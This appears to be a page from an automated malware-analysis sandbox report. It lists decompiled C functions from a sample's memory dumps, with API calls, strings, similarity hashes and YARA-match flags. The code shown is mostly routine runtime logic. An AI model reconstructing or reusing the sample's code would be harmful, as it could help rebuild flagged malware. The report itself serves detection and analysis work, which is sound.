GetThreadLocale.KERNEL32(?,00000000,0038B2FE,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0038B163

Part of subcall function 0038ADFC: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0038AE1A

Strings

ggg, xrefs: 0038B248
yyyy, xrefs: 0038B255
eeee, xrefs: 0038B26E

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 72290894dbfd7e3e63636b1b4cb37300b4f835b52be565ad87885912dd84f30c
Instruction ID: 3b6ba200fac69b7a42c10702ee81efcfb3b762b9d0d0ff21fdf1dbff2cbb279c
Opcode Fuzzy Hash: 72290894dbfd7e3e63636b1b4cb37300b4f835b52be565ad87885912dd84f30c
Instruction Fuzzy Hash: B341C52571430B8BDB13BAB8C8967BEF2A9DB94340B6404E1E451CBB46DB74AD028761

Uniqueness

Uniqueness Score: -1.00%

Function 003C68B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E003C68B0(intOrPtr* __eax, intOrPtr __ecx, intOrPtr __edx, void* __ebp, long long __fp0) {
				intOrPtr _v16;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr* _t31;
				intOrPtr _t34;
				intOrPtr _t36;
				struct HWND__* _t37;
				intOrPtr _t38;
				intOrPtr* _t40;
				intOrPtr _t44;
				intOrPtr _t48;
				intOrPtr* _t52;
				long _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t64;
				intOrPtr _t65;
				intOrPtr _t69;
				intOrPtr* _t76;
				void* _t78;
				intOrPtr* _t79;
				long long _t86;

				_t86 = __fp0;
				_t79 = _t78 + 0xfffffff8;
				_t69 = __ecx;
				_t44 = __edx;
				_t76 = __eax;
				 *0x3dbb78 = __eax;
				_t24 =  *0x3dbb78; // 0x0
				 *((intOrPtr*)(_t24 + 4)) = 0;
				GetCursorPos(0x3dbb84);
				_t26 =  *0x3dbb78; // 0x0
				_t57 = 0x3dbb84->x; // 0x0
				 *(_t26 + 0xc) = _t57;
				_t58 =  *0x3dbb88; // 0x0
				 *((intOrPtr*)(_t26 + 0x10)) = _t58;
				 *0x3dbb8c = GetCursor();
				_t28 =  *0x3dbb78; // 0x0
				"SPh`\\<"();
				 *0x3dbb80 = _t28;
				 *0x3dbb90 = _t69;
				_t59 =  *0x3c36c0; // 0x3c370c
				if(E00383288(_t76, _t59) == 0) {
					__eflags = _t44;
					if(__eflags == 0) {
						 *0x3dbb94 = 0;
					} else {
						 *0x3dbb94 = 1;
					}
				} else {
					_t64 = _t76;
					_t4 = _t64 + 0x44; // 0x44
					_t40 = _t4;
					_t48 =  *_t40;
					if( *((intOrPtr*)(_t40 + 8)) - _t48 <= 0) {
						__eflags = 0;
						 *((intOrPtr*)(_t64 + 0x20)) = 0;
						 *((intOrPtr*)(_t64 + 0x24)) = 0;
					} else {
						 *_t79 =  *((intOrPtr*)(_t64 + 0xc)) - _t48;
						asm("fild dword [esp]");
						_v16 =  *((intOrPtr*)(_t40 + 8)) -  *_t40;
						asm("fild dword [esp+0x4]");
						asm("fdivp st1, st0");
						 *((long long*)(_t64 + 0x20)) = __fp0;
						asm("wait");
					}
					_t65 =  *((intOrPtr*)(_t40 + 4));
					if( *((intOrPtr*)(_t40 + 0xc)) - _t65 <= 0) {
						__eflags = 0;
						 *((intOrPtr*)(_t76 + 0x28)) = 0;
						 *((intOrPtr*)(_t76 + 0x2c)) = 0;
					} else {
						_t52 = _t76;
						 *_t79 =  *((intOrPtr*)(_t52 + 0x10)) - _t65;
						asm("fild dword [esp]");
						_v16 =  *((intOrPtr*)(_t40 + 0xc)) -  *((intOrPtr*)(_t40 + 4));
						asm("fild dword [esp+0x4]");
						asm("fdivp st1, st0");
						 *((long long*)(_t52 + 0x28)) = _t86;
						asm("wait");
					}
					if(_t44 == 0) {
						 *0x3dbb94 = 0;
					} else {
						 *0x3dbb94 = 2;
						 *((intOrPtr*)( *_t76 + 0x30))();
					}
				}
				_t31 =  *0x3dbb78; // 0x0
				 *0x3dbb98 =  *((intOrPtr*)( *_t31 + 8))();
				_t84 =  *0x3dbb98;
				if( *0x3dbb98 != 0) {
					_t36 =  *0x3dbb88; // 0x0
					_t37 = GetDesktopWindow();
					_t38 =  *0x3dbb98; // 0x0
					E003D0934(_t38, _t37, _t84, _t36);
				}
				_t34 = E003830CC(1);
				 *0x3dbba0 = _t34;
				if( *0x3dbb94 != 0) {
					_t34 = E003C65E0(0x3dbb84, 1);
				}
				return _t34;
			}

0x003c68b0
0x003c68b3
0x003c68b6
0x003c68b8
0x003c68ba
0x003c68bc
0x003c68c2
0x003c68c9
0x003c68d1
0x003c68d6
0x003c68db
0x003c68e1
0x003c68e4
0x003c68ea
0x003c68f2
0x003c68f7
0x003c68fc
0x003c6901
0x003c6906
0x003c690e
0x003c691b
0x003c69ad
0x003c69af
0x003c69ba
0x003c69b1
0x003c69b1
0x003c69b1
0x003c6921
0x003c6921
0x003c6923
0x003c6923
0x003c6929
0x003c692f
0x003c6951
0x003c6953
0x003c6956
0x003c6931
0x003c6936
0x003c6939
0x003c6941
0x003c6945
0x003c6949
0x003c694b
0x003c694e
0x003c694e
0x003c695c
0x003c6963
0x003c6988
0x003c698a
0x003c698d
0x003c6965
0x003c6965
0x003c696c
0x003c696f
0x003c6978
0x003c697c
0x003c6980
0x003c6982
0x003c6985
0x003c6985
0x003c6992
0x003c69a4
0x003c6994
0x003c6994
0x003c699f
0x003c699f
0x003c6992
0x003c69c1
0x003c69cb
0x003c69d0
0x003c69d7
0x003c69d9
0x003c69df
0x003c69ec
0x003c69f1
0x003c69f1
0x003c69fd
0x003c6a02
0x003c6a0e
0x003c6a15
0x003c6a15
0x003c6a1f

APIs

GetCursorPos.USER32(003DBB84), ref: 003C68D1
GetCursor.USER32 ref: 003C68ED

Part of subcall function 003C5ADC: SetCapture.USER32(00000000), ref: 003C5AEB

GetDesktopWindow.USER32 ref: 003C69DF

Strings

0Y<, xrefs: 003C69F8

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Cursor$CaptureDesktopWindow
String ID: 0Y<
API String ID: 669539147-2671552024
Opcode ID: 366b5f35d2677e8c14c9954ed919a75a36cd4aacc4836c603f3f3b3fa227fd61
Instruction ID: edc3eae382d5a40ad96975840370017baafeb9033dafc767f11bfd3b0bc27420
Opcode Fuzzy Hash: 366b5f35d2677e8c14c9954ed919a75a36cd4aacc4836c603f3f3b3fa227fd61
Instruction Fuzzy Hash: 82416BB5606600CFD706EF29E956A15BBE9FB88310F16865FD489CB36ADB31DC41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0038BA20, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0038BA20(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				struct _MEMORY_BASIC_INFORMATION _v36;
				char _v297;
				char _v304;
				intOrPtr _v308;
				char _v312;
				char _v316;
				char _v320;
				intOrPtr _v324;
				char _v328;
				void* _v332;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				intOrPtr _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				char _v372;
				intOrPtr _t52;
				intOrPtr _t60;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr _t89;
				intOrPtr _t101;
				void* _t108;
				intOrPtr _t110;
				void* _t113;

				_t108 = __edi;
				_v372 = 0;
				_v336 = 0;
				_v344 = 0;
				_v340 = 0;
				_v8 = 0;
				_push(_t113);
				_push(0x38bbdb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffe90;
				_t89 =  *((intOrPtr*)(_a4 - 4));
				if( *((intOrPtr*)(_t89 + 0x14)) != 0) {
					_t52 =  *0x3da0bc; // 0x386dc8
					E00385C40(_t52,  &_v8);
				} else {
					_t86 =  *0x3da234; // 0x386dc0
					E00385C40(_t86,  &_v8);
				}
				_t110 =  *((intOrPtr*)(_t89 + 0x18));
				VirtualQuery( *(_t89 + 0xc),  &_v36, 0x1c);
				if(_v36.State != 0x1000 || GetModuleFileNameA(_v36.AllocationBase,  &_v297, 0x105) == 0) {
					_v368 =  *(_t89 + 0xc);
					_v364 = 5;
					_v360 = _v8;
					_v356 = 0xb;
					_v352 = _t110;
					_v348 = 5;
					_t60 =  *0x3da0c8; // 0x386d70
					E00385C40(_t60,  &_v372);
					E0038B600(_t89, _v372, 1, _t108, _t110, 2,  &_v368);
				} else {
					_v332 =  *(_t89 + 0xc);
					_v328 = 5;
					E0038412C( &_v340, 0x105,  &_v297);
					E00388554(_v340,  &_v336);
					_v324 = _v336;
					_v320 = 0xb;
					_v316 = _v8;
					_v312 = 0xb;
					_v308 = _t110;
					_v304 = 5;
					_t82 =  *0x3da134; // 0x386e68
					E00385C40(_t82,  &_v344);
					E0038B600(_t89, _v344, 1, _t108, _t110, 3,  &_v332);
				}
				_pop(_t101);
				 *[fs:eax] = _t101;
				_push(E0038BBE2);
				E00383EBC( &_v372);
				E00383EE0( &_v344, 3);
				return E00383EBC( &_v8);
			}

0x0038ba20
0x0038ba2d
0x0038ba33
0x0038ba39
0x0038ba3f
0x0038ba45
0x0038ba4a
0x0038ba4b
0x0038ba50
0x0038ba53
0x0038ba59
0x0038ba60
0x0038ba74
0x0038ba79
0x0038ba62
0x0038ba65
0x0038ba6a
0x0038ba6a
0x0038ba7e
0x0038ba8b
0x0038ba97
0x0038bb53
0x0038bb59
0x0038bb63
0x0038bb69
0x0038bb70
0x0038bb76
0x0038bb8c
0x0038bb91
0x0038bba3
0x0038baba
0x0038babd
0x0038bac3
0x0038badb
0x0038baec
0x0038baf7
0x0038bafd
0x0038bb07
0x0038bb0d
0x0038bb14
0x0038bb1a
0x0038bb30
0x0038bb35
0x0038bb47
0x0038bb4c
0x0038bbac
0x0038bbaf
0x0038bbb2
0x0038bbbd
0x0038bbcd
0x0038bbda

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,0038BBDB), ref: 0038BA8B
GetModuleFileNameA.KERNEL32(?,?,00000105,?,?,0000001C,00000000,0038BBDB), ref: 0038BAAD

Part of subcall function 00385C40: LoadStringA.USER32 ref: 00385C71

Strings

hn8, xrefs: 0038BB30
pm8, xrefs: 0038BB8C

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FileLoadModuleNameQueryStringVirtual
String ID: hn8$pm8
API String ID: 902310565-90881500
Opcode ID: 2b5c317aa425ee7ad8cf46ea8ba3298b257109931b58af014b44c3c3ca3d3be3
Instruction ID: 6412ee3a07766a84209ca2f7886f881a3fb638f1c50763b09b7603bcd43ba456
Opcode Fuzzy Hash: 2b5c317aa425ee7ad8cf46ea8ba3298b257109931b58af014b44c3c3ca3d3be3
Instruction Fuzzy Hash: BB41E030905768CFDB62EF68CD85BDAB7F9AB48300F4044E5E408AB251E774AE84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0038AEAC, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
threadCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0038AEAC(void* __ebx, void* __edi, void* __esi) {
				int _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t53;
				void* _t54;
				intOrPtr _t80;
				void* _t83;
				void* _t84;
				void* _t86;
				void* _t87;
				intOrPtr _t90;

				_t89 = _t90;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(_t90);
				_push(0x38afbf);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90;
				_v8 = GetThreadLocale();
				_t53 = 1;
				_t86 = 0x3db6ac;
				_t83 = 0x3db6dc;
				do {
					_t3 = _t53 + 0x44; // 0x45
					E0038AE70(_t3 - 1, _t53 - 1,  &_v16, 0xb, _t89);
					E00383F10(_t86, _v16);
					_t6 = _t53 + 0x38; // 0x39
					E0038AE70(_t6 - 1, _t53 - 1,  &_v20, 0xb, _t89);
					E00383F10(_t83, _v20);
					_t53 = _t53 + 1;
					_t83 = _t83 + 4;
					_t86 = _t86 + 4;
				} while (_t53 != 0xd);
				_t54 = 1;
				_t87 = 0x3db70c;
				_t84 = 0x3db728;
				do {
					_t8 = _t54 + 5; // 0x6
					asm("cdq");
					_v12 = _t8 % 7;
					E0038AE70(_v12 + 0x31, _t54 - 1,  &_v24, 6, _t89);
					E00383F10(_t87, _v24);
					E0038AE70(_v12 + 0x2a, _t54 - 1,  &_v28, 6, _t89);
					E00383F10(_t84, _v28);
					_t54 = _t54 + 1;
					_t84 = _t84 + 4;
					_t87 = _t87 + 4;
				} while (_t54 != 8);
				_pop(_t80);
				 *[fs:eax] = _t80;
				_push(E0038AFC6);
				return E00383EE0( &_v28, 4);
			}

0x0038aead
0x0038aeb1
0x0038aeb2
0x0038aeb3
0x0038aeb4
0x0038aeb5
0x0038aeb6
0x0038aebc
0x0038aebd
0x0038aec2
0x0038aec5
0x0038aecd
0x0038aed0
0x0038aed5
0x0038aeda
0x0038aedf
0x0038aeee
0x0038aef2
0x0038aefd
0x0038af11
0x0038af15
0x0038af20
0x0038af25
0x0038af26
0x0038af29
0x0038af2c
0x0038af31
0x0038af36
0x0038af3b
0x0038af40
0x0038af40
0x0038af48
0x0038af4b
0x0038af63
0x0038af6e
0x0038af88
0x0038af93
0x0038af98
0x0038af99
0x0038af9c
0x0038af9f
0x0038afa6
0x0038afa9
0x0038afac
0x0038afbe

APIs

GetThreadLocale.KERNEL32(00000000,0038AFBF,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0038AEC8

Strings

@o8, xrefs: 0038AF55
xo8, xrefs: 0038AF7A
n8, xrefs: 0038AF09

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleThread
String ID: @o8$xo8$n8
API String ID: 635194068-2286866266
Opcode ID: 5cde77830fd44425decb4fc7f592ca7063107143e51cbb3e0292c0e15607a2d0
Instruction ID: 0e4b571551c6a6fd7cf34fc5c58acc83971289c0c63b49b058caf4cefe061920
Opcode Fuzzy Hash: 5cde77830fd44425decb4fc7f592ca7063107143e51cbb3e0292c0e15607a2d0
Instruction Fuzzy Hash: D631B976F046085BDB02EA94DC81BAF77AAEB88310F1148B7FA05DB381D635ED418765

Uniqueness

Uniqueness Score: -1.00%

Function 003A3884, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E003A3884(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t62;
				intOrPtr _t64;
				intOrPtr _t67;
				void* _t77;
				void* _t78;
				intOrPtr _t79;
				intOrPtr _t80;

				_t77 = _t78;
				_t79 = _t78 + 0xfffffff8;
				_v8 = __eax;
				_v12 = E003830CC(1);
				_push(_t77);
				_push(0x3a390b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79;
				 *((intOrPtr*)(_v12 + 8)) = __edx;
				 *((intOrPtr*)(_v12 + 0x10)) = __ecx;
				memcpy(_v12 + 0x18, _a12, 0x15 << 2);
				_t80 = _t79 + 0xc;
				 *((char*)(_v12 + 0x70)) = _a8;
				if( *((intOrPtr*)(_v12 + 0x2c)) != 0) {
					 *((intOrPtr*)(_v12 + 0x14)) =  *((intOrPtr*)(_v12 + 8));
				}
				_t62 =  *0x3952d8; // 0x395324
				 *((intOrPtr*)(_v12 + 0x6c)) = E003832AC(_a4, _t62);
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(0x3db8b0);
				L0038618C();
				_push(_t77);
				_push(0x3a396b);
				_push( *[fs:edx]);
				 *[fs:edx] = _t80;
				E003A23F8( *((intOrPtr*)(_v8 + 0x28)));
				 *((intOrPtr*)(_v8 + 0x28)) = _v12;
				E003A23F4(_v12);
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(E003A3972);
				_push(0x3db8b0);
				L003862BC();
				return 0;
			}

0x003a3885
0x003a3887
0x003a3891
0x003a38a0
0x003a38a5
0x003a38a6
0x003a38ab
0x003a38ae
0x003a38b4
0x003a38ba
0x003a38cd
0x003a38cd
0x003a38d5
0x003a38df
0x003a38ea
0x003a38ea
0x003a38f0
0x003a38fe
0x003a3903
0x003a3906
0x003a3922
0x003a3927
0x003a392e
0x003a392f
0x003a3934
0x003a3937
0x003a3940
0x003a394b
0x003a394e
0x003a3955
0x003a3958
0x003a395b
0x003a3960
0x003a3965
0x003a396a

APIs

RtlEnterCriticalSection.KERNEL32(003DB8B0), ref: 003A3927
RtlLeaveCriticalSection.KERNEL32(003DB8B0,003A3972,003DB8B0), ref: 003A3965

Strings

$S9, xrefs: 003A38F0
X9, xrefs: 003A3896

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: $S9$X9
API String ID: 3168844106-90742833
Opcode ID: 5bd9e43c65cfad5da1210b49d65d5e713388976505d32ca465badd1e57ea43a2
Instruction ID: 71d6bc56abe9509c734c3d6fffc7d120a7d32f988a4dcfde3c7b4213ba1a984c
Opcode Fuzzy Hash: 5bd9e43c65cfad5da1210b49d65d5e713388976505d32ca465badd1e57ea43a2
Instruction Fuzzy Hash: 77217A75A04308EFC706DF68D88198ABBF5FB4A720F1185A9F8409B361D771EE80CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02356215, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

RtlUpcaseUnicodeString.NTDLL(?,?,00000001), ref: 02356249
RtlFreeAnsiString.NTDLL(?), ref: 023562C0
WaitForSingleObject.KERNEL32(00000000), ref: 023562CD

Strings

?@, xrefs: 023562A8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: String$AnsiFreeObjectSingleUnicodeUpcaseWait
String ID: ?@
API String ID: 2603241602-3895805154
Opcode ID: 10dcd46890dc6119470a1818e123a597589fbae2b0048b7221583027a9639c90
Instruction ID: 1a9e5e4240cfae77b22944d3309d95b4264ed2ee9cf4eca4f1943bf3dca17ecf
Opcode Fuzzy Hash: 10dcd46890dc6119470a1818e123a597589fbae2b0048b7221583027a9639c90
Instruction Fuzzy Hash: B7210571924264AFCB249F54DC8AC6AB3ADFF40315F808D2EFC49C2260DB74E8948F91

Uniqueness

Uniqueness Score: -1.00%

Function 003D6EF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E003D6EF0(intOrPtr __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				char _v24;
				intOrPtr* _t32;
				intOrPtr _t38;
				intOrPtr _t44;
				void* _t49;
				void* _t50;
				intOrPtr _t51;

				_t49 = _t50;
				_t51 = _t50 + 0xffffffec;
				_push(__esi);
				_t32 = __edx;
				_v8 = __eax;
				E003D67B8(_v8, __edx, __esi);
				E00398DA0(_t32, 0xc,  &_v24);
				if(_v24 != 0x434f4442 &&  *((char*)(_v8 + 0x256)) == 0) {
					_t38 =  *0x3d9fe8; // 0x3d4df8
					E0038B680(_t38, 1);
					E00383870();
				}
				_v12 = GlobalAlloc(2, _v16);
				if(_v12 == 0) {
					E0038B5B8();
				}
				 *[fs:edx] = _t51;
				GlobalFix(_v12);
				 *[fs:edx] = _t51;
				 *((intOrPtr*)( *_t32 + 0xc))( *[fs:edx], 0x3d6fa2, _t49,  *[fs:edx], 0x3d7050, _t49);
				_pop(_t44);
				 *[fs:eax] = _t44;
				_push(0x3d6fa9);
				return GlobalUnWire(_v12);
			}

0x003d6ef1
0x003d6ef3
0x003d6ef7
0x003d6ef9
0x003d6efb
0x003d6f01
0x003d6f10
0x003d6f1c
0x003d6f2a
0x003d6f37
0x003d6f3c
0x003d6f3c
0x003d6f4c
0x003d6f53
0x003d6f55
0x003d6f55
0x003d6f65
0x003d6f6c
0x003d6f7c
0x003d6f88
0x003d6f8d
0x003d6f90
0x003d6f93
0x003d6fa1

APIs

GlobalAlloc.KERNEL32(00000002,?), ref: 003D6F47
GlobalFix.KERNEL32(00000000), ref: 003D6F6C
GlobalUnWire.KERNEL32(00000000), ref: 003D6F9C

Strings

BDOC, xrefs: 003D6F15

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocWire
String ID: BDOC
API String ID: 924321537-4294846806
Opcode ID: b3fa4a6b640389360d97474e59f515db6080c5f66449d1837eaacbdffb2cfa98
Instruction ID: a19dd5fd97a0d3f8a939b5bdac974dfabd8489f27bc56f8ae27b81bac2a915fe
Opcode Fuzzy Hash: b3fa4a6b640389360d97474e59f515db6080c5f66449d1837eaacbdffb2cfa98
Instruction Fuzzy Hash: CA119371B04604AFDB02EFA4EC56AADB7B9EB89700F5044A5F4109B351CB305D40C711

Uniqueness

Uniqueness Score: -1.00%

Function 003C1D28, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E003C1D28(intOrPtr* __eax) {
				struct tagMENUITEMINFOA _v128;
				intOrPtr _v132;
				int _t16;
				intOrPtr* _t29;
				struct HMENU__* _t36;
				MENUITEMINFOA* _t37;

				_t37 =  &_v128;
				_t29 = __eax;
				_t16 =  *0x3da230; // 0x3db744
				if( *((char*)(_t16 + 0xd)) != 0 &&  *((intOrPtr*)(__eax + 0x38)) != 0) {
					_t36 =  *((intOrPtr*)( *__eax + 0x34))();
					_t37->cbSize = 0x2c;
					_v132 = 0x10;
					_v128.hbmpUnchecked =  &(_v128.cch);
					_v128.dwItemData = 0x50;
					_t16 = GetMenuItemInfoA(_t36, 0, 0xffffffff, _t37);
					if(_t16 != 0) {
						_t16 = E003C20AC(_t29);
						asm("sbb edx, edx");
						if(_t16 != (_v128.cbSize & 0x00006000) + 1) {
							_v128.cbSize = ((E003C20AC(_t29) & 0x0000007f) << 0x0000000d) + ((E003C20AC(_t29) & 0x0000007f) << 0x0000000d) * 0x00000002 | _v128 & 0xffff9fff;
							_v132 = 0x10;
							_t16 = SetMenuItemInfoA(_t36, 0, 0xffffffff, _t37);
							if(_t16 != 0) {
								return DrawMenuBar( *(_t29 + 0x38));
							}
						}
					}
				}
				return _t16;
			}

0x003c1d2a
0x003c1d2d
0x003c1d2f
0x003c1d38
0x003c1d4f
0x003c1d51
0x003c1d58
0x003c1d64
0x003c1d68
0x003c1d76
0x003c1d7d
0x003c1d81
0x003c1d93
0x003c1d98
0x003c1db6
0x003c1dba
0x003c1dc8
0x003c1dcf
0x00000000
0x003c1dd5
0x003c1dcf
0x003c1d98
0x003c1d7d
0x003c1de2

APIs

GetMenuItemInfoA.USER32 ref: 003C1D76
SetMenuItemInfoA.USER32 ref: 003C1DC8
DrawMenuBar.USER32 ref: 003C1DD5

Strings

P, xrefs: 003C1D68

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$InfoItem$Draw
String ID: P
API String ID: 3227129158-3110715001
Opcode ID: 53c6a4e6fff066e608b4eecd26c9c1973165b0e080f77d7151c8f1999dbb4e9a
Instruction ID: 2a9de0374f72c8deb997bcbb21ce634898c2b0d64a029f7ed9ff81c25e4e0625
Opcode Fuzzy Hash: 53c6a4e6fff066e608b4eecd26c9c1973165b0e080f77d7151c8f1999dbb4e9a
Instruction Fuzzy Hash: 4911BF30205300ABD311AB29CC85B5A7AD4AF86714F15C6A8F095CB3D6D775DC44C756

Uniqueness

Uniqueness Score: -1.00%

Function 02353CAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55memorystringCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00010000,00000000), ref: 02353CCA
lstrlen.KERNEL32(EMPTY,0000010E,00000000,00000008,00000000,?,?,?,?,0234660C,0000010E,00000008,log), ref: 02353D0C
HeapFree.KERNEL32(00000000,00000000,EMPTY), ref: 02353D26

Strings

EMPTY, xrefs: 02353D03, 02353D0B, 02353D13

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreelstrlen
String ID: EMPTY
API String ID: 3886119090-1696604233
Opcode ID: 6ad2fafcb7b5a919ae38ada9572bc5960ec930329e40edbf8a18cb1f3e09cf4b
Instruction ID: 600f9eacb72bcc46075795654313787a191e29badae4b5888faac8ab6f2889a5
Opcode Fuzzy Hash: 6ad2fafcb7b5a919ae38ada9572bc5960ec930329e40edbf8a18cb1f3e09cf4b
Instruction Fuzzy Hash: C801B1B2980218FFCB219BA5DC4CDABBBBDEB89794B10C456FD0492110D7719D60DB60

Uniqueness

Uniqueness Score: -1.00%

Function 003A5428, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E003A5428(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				signed int _t19;
				void* _t20;
				intOrPtr _t21;

				_t19 = _a12;
				if( *0x3db91f != 0) {
					_t16 = 0;
					if((_t19 & 0x00000003) != 0) {
						L7:
						_t16 = 0x12340042;
					} else {
						_t21 = _a4;
						if(_t21 >= 0 && _t21 < GetSystemMetrics(0) && _a8 >= 0 && GetSystemMetrics(1) > _a8) {
							goto L7;
						}
					}
				} else {
					_t18 =  *0x3db900; // 0x3a5428
					 *0x3db900 = E003A5190(3, _t15, _t18, _t19, _t20);
					_t16 =  *0x3db900(_a4, _a8, _t19);
				}
				return _t16;
			}

0x003a542e
0x003a5438
0x003a5462
0x003a546b
0x003a5493
0x003a5493
0x003a546d
0x003a546d
0x003a5472
0x00000000
0x00000000
0x003a5472
0x003a543a
0x003a543f
0x003a544c
0x003a545e
0x003a545e
0x003a549e

APIs

GetSystemMetrics.USER32 ref: 003A5476
GetSystemMetrics.USER32 ref: 003A5488

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

(T:, xrefs: 003A543F, 003A544C, 003A5458
MonitorFromPoint, xrefs: 003A543A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
